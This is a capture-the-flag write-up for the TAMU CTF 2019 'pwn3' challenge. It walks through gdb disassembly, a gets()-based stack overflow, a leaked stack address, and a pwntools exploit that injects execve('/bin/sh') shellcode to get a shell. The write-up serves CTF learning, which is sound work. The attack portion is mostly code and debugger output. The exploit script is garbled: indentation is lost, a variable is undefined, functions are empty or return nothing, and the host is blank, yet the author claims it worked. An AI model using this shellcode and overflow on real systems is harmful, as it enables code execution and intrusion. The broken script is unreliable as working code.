TAMU CTF 2019 Writeups

  1. Pwn
    1. Pwn1
    2. Pwn2
    3. Pwn3
    4. Pwn4
    5. Pwn5
  2. Network/pentest
    1. Stop and listen
    2. Wordpress
    3. Calculator


Challenge Link: nc 4323
Difficulty: easy
Binary Link:

run on server

root@cbm-guru:/home/root/pracCtf/tamuctf# nc 4323
Take this, you might need it on your journey 0xffe1a2ee!

so it give a out which has a address in it and it changes everytime...looks like they have aslr on this time but what this address is about...
let check in gdb

output of disassemble

gdb-peda$ disassemble main
Dump of assembler code for function main:
0x000005e3 <+0>: lea ecx,[esp+0x4]
0x000005e7 <+4>: and esp,0xfffffff0
0x000005ea <+7>: push DWORD PTR [ecx-0x4]
0x000005ed <+10>: push ebp
0x000005ee <+11>: mov ebp,esp
0x000005f0 <+13>: push ebx
0x000005f1 <+14>: push ecx
0x000005f2 <+15>: call 0x629 <>
0x000005f7 <+20>: add eax,0x19d5
0x000005fc <+25>: mov edx,DWORD PTR [eax+0x28]
0x00000602 <+31>: mov edx,DWORD PTR [edx]
0x00000604 <+33>: push 0x0
0x00000606 <+35>: push 0x0
0x00000608 <+37>: push 0x2
0x0000060a <+39>: push edx
0x0000060b <+40>: mov ebx,eax
0x0000060d <+42>: call 0x440 <setvbuf@plt>
0x00000612 <+47>: add esp,0x10
0x00000615 <+50>: call 0x59d <echo>
0x0000061a <+55>: mov eax,0x0
0x0000061f <+60>: lea esp,[ebp-0x8]
0x00000622 <+63>: pop ecx
0x00000623 <+64>: pop ebx
0x00000624 <+65>: pop ebp
0x00000625 <+66>: lea esp,[ecx-0x4]
0x00000628 <+69>: ret
End of assembler dump.
gdb-peda$ disassemble echo
Dump of assembler code for function echo:
0x0000059d <+0>: push ebp
0x0000059e <+1>: mov ebp,esp
0x000005a0 <+3>: push ebx
0x000005a1 <+4>: sub esp,0x134
0x000005a7 <+10>: call 0x4a0 <__x86.get_pc_thunk.bx>
0x000005ac <+15>: add ebx,0x1a20
0x000005b2 <+21>: sub esp,0x8
0x000005b5 <+24>: lea eax,[ebp-0x12a]
0x000005bb <+30>: push eax
0x000005bc <+31>: lea eax,[ebx-0x191c]
0x000005c2 <+37>: push eax
0x000005c3 <+38>: call 0x410 <printf@plt>
0x000005c8 <+43>: add esp,0x10
0x000005cb <+46>: sub esp,0xc
0x000005ce <+49>: lea eax,[ebp-0x12a]
0x000005d4 <+55>: push eax
0x000005d5 <+56>: call 0x420 <gets@plt>
0x000005da <+61>: add esp,0x10
0x000005dd <+64>: nop
0x000005de <+65>: mov ebx,DWORD PTR [ebp-0x4]
0x000005e1 <+68>: leave
0x000005e2 <+69>: ret
End of assembler dump.

so main+50 call echo and echo has gets() call at echo+56....nothing else ...and this time there was no print_flag function... so this time we really have to exploit bufferoverflow

first make bufferoverflow by giving 400 A's as input

gdb-peda$ r
Starting program: /home/root/pracCtf/tamuctf/pwn3
Take this, you might need it on your journey 0xffffd11e!

Program received signal SIGSEGV, Segmentation fault.

and to see register

gdb-peda$ i r
eax 0xffffd11e 0xffffd11e
ecx 0xf7f935c0 0xf7f935c0
edx 0xf7f9489c 0xf7f9489c
ebx 0x41414141 0x41414141
esp 0xffffd250 0xffffd250
ebp 0x41414141 0x41414141
esi 0xf7f93000 0xf7f93000
edi 0xf7f93000 0xf7f93000
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63

and you can see eip has 0x41414141 in it i.e we have full control of eip this time. so what we gonna do is send address of our shellcode to eip and get a shell.

For that we need to save our shellcode in memory and get its address on runtime as aslr is on this time.

And if you have catchy eyes you may already seen that address in

"Take this, you might need it on your journey 0xffffd11e!"

and of $eax is same. And we all know that our input is stored in eax so our input is perfect way to send payload with shellcode in it. Now only thing left is offset of eip... which can be easily found as we have found in previous pwns..... which came out to be 302.

so payload will be

“shellcode”+"A"*(302-len(shellcode))+"address in endian form"

as address changes every time we make payload programmatically... for which i used pwntools and write following script

#!/usr/bin/env python
# This Python file uses the following encoding: utf-8
import pwn
import time
import sys

# Constants
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\xc3"

def usage():
print "Usage: %s [FLAGS]" % sys.argv[0]
print "\nFLAG\t\t\tOption"
print "-l\t\t\tLocal (Default)"
print "-r\t\t\tRemote\n"

def setup(argv = ""):
#Local Exploit
if argv == "-l" or argv == "":
r = pwn.process("./pwn3")
elif argv == "-r":
r = pwn.remote("", 4323)

#Build Payload and EXPLOIT!!!
exploit(r, buildPayload(r))#dsd
def buildPayload(r):
# Build payload
payload = ""
payload += SHELLCODE
payload += OVERFLOW
payload += getStackAddress(r)

def getStackAddress(r):
address = r.recvuntil('!')
address = address.split('!')[0]
address = int(address, 16)
address = pwn.p32(address) #\x\x\x\x

def exploit(r, payload):

if __name__ == "__main__":
if len(sys.argv) > 2:
elif len(sys.argv) == 2:

ran this script in -r mode and got the shell and read the flag


submitted to score ;-)